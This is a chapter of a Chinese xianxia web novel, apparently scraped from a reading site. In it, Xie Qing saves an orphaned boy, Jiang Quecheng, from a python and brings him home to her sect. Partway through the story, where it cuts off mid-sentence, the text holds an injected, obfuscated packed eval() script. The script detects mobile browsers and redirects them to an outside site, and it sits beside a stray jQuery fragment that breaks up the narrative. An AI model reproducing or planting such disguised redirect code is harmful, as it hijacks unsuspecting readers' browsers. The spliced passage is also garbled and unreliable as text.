不知道为什么谢青突然有些激动,不知道里面会走出一个什么人来,她满是期待盯着那扇门里面,一时间忘了自己等会还要干什么。
扑通,扑通…
有只手伸出来了,紧接着是他的整个人。
谢青的目光有发光到黯淡无光,心情从激动到无语?
从这扇门里面居然走出一个小孩?
谢青:?
玩我呢?
难道说是大侠的孩子?
可惜这个开门的小孩始终没有抬头,也没有发现谢青在他上面,房里有光他一开门里面的光也折射到了门口外面,停留在外面的那条大蟒蛇听见动静,蓝色的眼眸看了站在门口的那个身穿玄服小男孩一眼就立刻发起了进攻。
谢青瞪大双眼:“快走!”
还没等那小孩抬头去看她谢青已经手疾眼快纵身一跃跳了下去,她直接干脆利落单手搂住了他的腰,另一只手拿着符纸迅速掐指,念道:“瞬移三里之外!”
下一刻谢青和手中搂着的小孩消失在了原地,在离开前一秒谢青最后见到道一幕是那条大蟒蛇发了疯似的不撞南墙不回头,一股脑撞了过来,两眼眸子睁得快要溢出来了。
这瞬移符也是谢青花了大价钱买来的,要说她败家吧,本来每日银两就不多的她确实大出血,又没捞到什么好处属实败家了点,但是她现在可是真的用到了自己买来的保命符。
这瞬移符谢青一直带在身上,好处是可以突发危机可以瞬移到三里之外的地方去,坏处就是这个必须最少两个人才能使用。
谢青不明白为什么要设定这样奇怪的规定,难道一个人就不能用?非得两个人才能用,虽然眼下她确实找到别人一起用这张瞬移符。
刚瞬移过来谢青就把小孩放了下来,之前在上面看得时候是俯视还以为这小孩很小一只,没想到身高有自己一半这么高,已经到腰上了。
他在里面住那里应该就是他的家,但是为什么只有他一个乳臭未干的小屁孩?一个人住在山底下周围还到处都是残忍的猛兽,他怎么敢的?
谢青把他放了下来,那小孩转过身抬头起头看着她,整个人骨子架小,提起来也是轻轻的,谢青又拿出一张火符,这次用起来忽然有些心疼,因为感觉原本放在口袋里鼓起来的符纸现在已经平下去没有重量了。
火符用起来,红色火焰一下子照亮二人周围,谢青这次看清了小孩的脸,看起来没有生气似的,一点年轻人的稚嫩和阳光都没有,反而他那双眼睛倒黑得很,盯久了看还觉得有些凶。
见他不说话谢青问他:“你是一个人住在那里吗?”
小孩摇头没说话。
谢青皱了皱眉头又问:“你家人呢?”
“不在了。”这次小孩终于开口,神情没有一丝变化,只有嘴唇动了,看起来性格冷漠。
谢青反倒冷静下来站在对方的角度思考了一下问题,年龄还小甚至没有超过十四五岁,一个人住在之前家里人带自己住的地方……不对吧?
你一个人怎么吃怎么活啊?
“我家没了。”那小孩冷冷地道,眼睛里带着锋利芒光。
谢青:“额……”
“我没家住。”他又说。
谢青:“这……”
“本来你不来那条蛇不会醒过来,它一直在洞里冬眠。”
谢青这次提起三分精神反问:“这不对吧?”
很快她冷静下来虽然知道修真界的动物和现实世界区别大,但修真界的动物还会冬眠这一说法?
“之前我爹娘把它给强制冬眠了。”小孩看着她面不改色道。
谢青不知道该说些什么,只好问他:“那你现在就是一个人在那里住?”
“嗯。”小孩点头,又说:“现在家没了。”
虽说小说里的确有提到过有些大侠会找个与世隔绝的地方隐居起来,但是都敢来蜀道山这里隐居了还真会出事?谢青看着面前面无表情仿佛一个无情的冷脸机器,最后又摸了摸自己身上还有什么符,最后翻来翻去就只有一张传信符。
“给你。”小孩递给谢青一张符纸。
谢青抬眉疑惑看了他一眼。
“我爹娘临走前留给我的保命符。”
谢青沉默了,她接过这张符纸,上面是用红色画的奇怪文案,图腾奇怪诡异,但是谢青一眼就认出这是张什么符纸,修真界赫赫有名的百宝符,顾名思义就是你想要用这张符做什么就能做什么,当然得取决于画符人的修为,修为越高画出来的符纸用处就越大,甚至更强的人画出来的百宝符还能用来帮自己干架。
谢青看着上面红色的纹路,这应该就是画符人的亲血手笔了,她又看了那小孩一眼,信了大半,问:“你叫什么名字?”
“江却乘。”
谢青点头,介绍自己:“我叫谢青,是一个修仙弟子。”
江却乘没有应声。
谢青也不在意毕竟自己把他给弄没了,不,准确的来说是那条大蟒蛇,根本原因就是谢青的出现把正处于冬眠的大蟒蛇给惊醒了。
其实谢青内心有很多想要问的问题,但是见他一直都是一副冷脸不想多说样子,唯独有前面说自己家没了话多了几句。
……
人活在世上总得有个家吧,谢青拿着自己的剑,抬头看了黑漆漆的天,以及手上那张百宝符,思来想去谢青说:“很抱歉因为我,你没有家了,你来我家住吧,而且我出身门派,你去了还可以修炼。”
“好。”江却乘仍旧波澜不惊。
谢青踌躇了会儿上前捉住他的右手,说道:“我现在用这张符纸带你去我家。”
半刻钟后谢青拉着江却乘出现在一叶舟轻门派里,当然谢青选择传送的位置是自己家里,虽然门派不比宗门,但好歹自己是门派大长老的女儿,还是独生女,有独属于自己一间房子也不算稀奇,只是刚到地方谢青还未来得及要去招人过来,不知为何顿感头晕目眩,她捂住江却乘的纤细的小手眼神恍惚道:“你有没有感觉哪里不舒服?”
江却乘抬头看她:“没有。”
“这样啊。”谢青说着头越来越晕,倒下前松开了江却乘,小声嘀咕道:“这玩意使用还耗元神啊?”
甚至没了意识前看到江却乘那双凝视着她的眼睛。
好像很一副高高在上的样子?
等到再醒过来谢青看到的就是这个场景,谢青不知道为什么自己会头晕目眩然后毫无征兆地晕了过去,还有再醒过来她已经躺在了自己床上。
思考了一整个如梦幻之旅,谢青终于开口问:“谁把我弄上来的?”
江却乘回答得很快,“花弄溪。”
花弄溪是她同门,按年龄两人是同年生,理论上来说没有什么讲究的东西,她又是二长老女儿,两人自小一起长大,所以对称呼上没那么在乎,平时两个人也一起一起玩,估计是花弄溪来她家找她刚好遇上她回来晕倒了。
谢青不明意味看着江却
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17103185|195767||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
乘,“她问了你什么没有?”
其实谢青也不是担心花弄溪把她带了个人回来住转告给自己这里意义上的爸妈,只是突然带个外门的小孩回来,还是个男的到自己家里住,花弄溪知道谢青平时不务正业,但一定会震惊这种事情。
她醒来花弄溪也没有守在旁边,只有面无表情的江却乘。
谢青庆幸江却乘是一个小孩不然还真是麻烦又棘手。
总不能出去一趟捡了个男人回家当老公。
简直是门派得耻辱和笑话!
江却乘看她微不可查地挑了挑眉,道:“她问我是谁,叫什么名字,为什么会出现在你家里。”
谢青:“还有吗?”
“你是不是出去到处搞事了。”江却乘一字一顿道。
谢青:“……”
不愧是花弄溪,关心对象还是自己。
谢青又道:“你刚才是不是叫我师姐?”
江却乘:“是。”
“你想修仙?”谢青问。
“嗯。”
“那为什么要认我做师姐?”谢青有点想不清楚,一般像这种男的性格冷漠,又不爱说话,整天一副冷脸,也不知道在想些什么,居然会认她做师姐,要说江却乘性格外向活泼话多调皮对修仙激情澎湃的小男孩那还说得过去。
相反,江却乘身上表现给外人的感觉就是特别冷淡一小孩。
看起来还不好惹。
江却乘没有说话。
谢青也不再问,在修真界里只要入了门派和宗门在里面都要以师姐师兄师妹师弟互相称呼彼此,就算谢青现在是门派里大长老的女儿平日里见面了也要叫一声大长老好。
“你要不要和门派那些和你同龄的人一起住?”谢青问。
修真界里不论是门派还是宗门初入门的弟子都会一起住宿,像谢青这样可以拥有自己的房子修炼很大部分占了自己是大长老女儿的原因,但肯定的是谢青的修为也不低,在门派里也算得上佼佼者。
江却乘:“我和你住。”
谢青看着他半晌,最后道:“你去对面那个空房间住就行,还有你的衣服什么的我会给你吩咐好叫人送过来。”
江却乘神色不变:“好。”
“你出去吧。”
话说完江却乘连一句告辞语都没有就无声无息走了出去然后关上房门,谢青送了口气,心想自己这一趟出门不仅花了大价钱出了最大的一次雪,关键什么好处都没有捞着,好歹回来弄点什么稀奇古怪的草药回来了啊!
还偏偏带了一个人回自己家住,要不是门派里包吃包住,以后还要养一个人和兼顾他修仙吃穿住行,自己也要修炼,这可是双倍赔钱了。
修仙不仅是一条努力的路,还要靠天资和财力,想要获得巨大的成功这三样东西都不能少。
倒是江却乘这个人,谢青怀疑是不是就是因为他从小被自己爹娘带着闯天下,见了太多生离死别和经历了太多苦难才会造成现在的性格。
幻境能影响人,经历同样也是这个道理,既然江却乘不多说谢青也自然不会去多问。
算了,都是误打误撞的机缘,有愧于人家还回去就是,等因果相平自然就散了。
想起那条大蟒蛇谢青两眼一黑,这次旅途可谓真的又刺激又惊悚,可能她这辈子做的最刺激的事就是被蛇追着跑然后害的别人家没了,看见旁边桌上的沙漏还有一些些,谢青掐了个指把桌上的油灯熄灭,然后闭上眼睛睡了过去。